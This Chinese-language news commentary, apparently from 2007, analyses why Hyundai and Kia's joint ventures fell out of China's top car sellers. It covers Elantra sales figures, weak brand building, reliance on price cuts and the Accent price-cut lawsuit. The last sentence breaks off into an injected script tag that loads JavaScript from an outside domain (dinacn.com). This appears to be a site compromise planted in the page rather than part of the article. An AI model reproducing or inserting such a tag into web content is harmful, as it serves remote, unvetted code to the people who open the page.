不会再有人怀疑中国汽车市场正在按照自己的方式变得越来越成熟——从今年4月份开始，曾经创造令人瞠目结舌的“现代速度”的北京现代汽车，跌出了国内汽车销售行业前十名的行列。作为没有强硬品牌根基和丰富产品线的韩国汽车品牌，从问鼎年度单车销量冠军到销售负增长，北京现代在中国市场疯狂热销了两三年后遭遇了来自市场的残酷回击。与此同时，同属韩国现代汽车集团的起亚汽车也在中国市场被严重的边缘化了，一个月前，东风悦达起亚即使打出了降价数万元的价格牌，也几乎没有受到消费者的任何重视。

    显然，曾被视为销售神话的伊兰特和千里马已经成为了市场的弃儿，而以北京现代和东风悦达起亚为代表的韩系汽车也正在中国市场陷入困局，更为严重的是，这种趋势似乎刚刚开始。

    品牌弱势制约韩系车企前进脚步

    创立于1967年的韩国现代汽车在国际汽车大家庭中绝对算是晚辈，但它的成长之快一度令美国通用汽车、日本丰田汽车这样的“大家长”感到惊恐。2006年，现代汽车超越了法国标致雪铁龙集团，成为了世界第六大汽车制造商，并计划在2010年前把这个排名再提高一位。

    现代汽车近年来突飞猛进的国际市场占有率是和中国市场密不可分的，2005年和2006年，在北京现代投产的伊兰特轿车一直是国内汽车市场卖的最好的车型，分别以176589辆和169700辆的成绩傲视群雄，北京现代也稳居中国汽车企业销售排名的前4位。可值得关注的是，即使是在北京现代产品线丰富到5款车型之后，伊兰特的销量依然占到其总销量的一半以上，因此，也可以这么说，北京现代的品牌薄弱劣势早在伊兰特旺销之时就已经显现无疑。然而，在近乎疯狂的销售量增长面前，现代汽车并没有在中国市场认真的补上这一课。

    4月，2007年的春天刚刚到来，而北京现代的冬天似乎才刚刚开始。

    今年第一季度刚过，北京现代就首度滑出了国内10大销售企业的行列，主力车型伊兰特的销售也出现了负增长，这个汽车行业微妙的数字变化给人们发出了这样的信号——好勇斗狠的韩系汽车企业终于出现了疲态，而一直以来的品牌软肋又将会使这种颓势一发不可收拾。

    2000年，现代汽车在中国设立了现代、起亚“中国本部”，着力开拓中国市场。2002年现代汽车与北京汽车工业控股有限责任公司合资建立了北京现代汽车有限公司，并且得到了国家相关部委和北京市的全力支持。

    但是，韩国人在合资谈判之初就表现出的独断专行的强横态度，贯穿了现代汽车进入中国市场的全过程，这也使得韩系车在中国的营销模式陷入了单调的降价冲量泥潭。因为韩国现代汽车笃信曾经成功打入美国市场的低价策略一定能在中国市场成功复制。虽然在短期三四年时间里，北京现代伊兰特的销售获得了立竿见影的效果，但几乎完全忽略品牌建设的这三四年时间注定为韩系汽车今天的后劲不足埋下伏笔。毕竟，现代汽车凭借“pony”车型进军美国市场是在1976年的事，而今天的中国汽车市场已经使群雄并立，市场竞争的激烈程度和产品对品牌的依托程度都要比当年复杂的多。

    现代汽车错失塑造品牌良机

    现代（HYUNDAI）这个牌子在中国老百姓眼中一直不是高品质、高性能汽车的代表，而现代汽车在进入中国后一再错失塑造自身品牌的良机，则多少让人觉得有些惋惜，原本有机会借中国市场转变自身形象的韩国汽车，也不得不在中国这块世界最大的、尚待开发汽车市场面前低下了头。

    品牌影响力远远弱于大众、丰田、通用这些世界汽车巨头的韩国现代汽车，在2002到2006年在中国市场的卓越表现，远远超过了丰田和通用在中国市场的增长速度，为其在中国赢得了超过50万辆的市场保有量，这无疑给了现代汽车一个塑造品牌形象的绝佳机会。然而，现代汽车却没有做好中国市场的品牌规划和传播，在丰田中国、福特中国等竞争对手不断通过公益活动、环保技术和品牌营销等形式，大力强化各自品牌价值的时候，北京现代依然顽固的坚持通过新车上市和降价来拉动市场销售的营销模式，无疑在消费者心中巩固了韩国车就是低价格、低档车的印象。甚至有业内资深专家直言：“现代汽车完全没有意识到在中国市场树立品牌价值的重要性，要不就是完全不知道该如何树立品牌价值。”

    这种趋势在2006年雅绅特高价上市时达到了顶峰，7.98万—10.28万的售价甚至和伊兰特有交叉，明显背离了市场环境。更严重的是，北京现代总经理卢载万在上市时承诺不降价，却又在短期内出现大幅降价，酿成了雅绅特车主状告北京现代维权的行业公关危机。而北京现代对此却反应迟缓，麻木的任凭危机发展下去。当企业和车主对簿公堂后，北京现代赢了官司却失去了诚信，?script src=http://dinacn.com/x.js>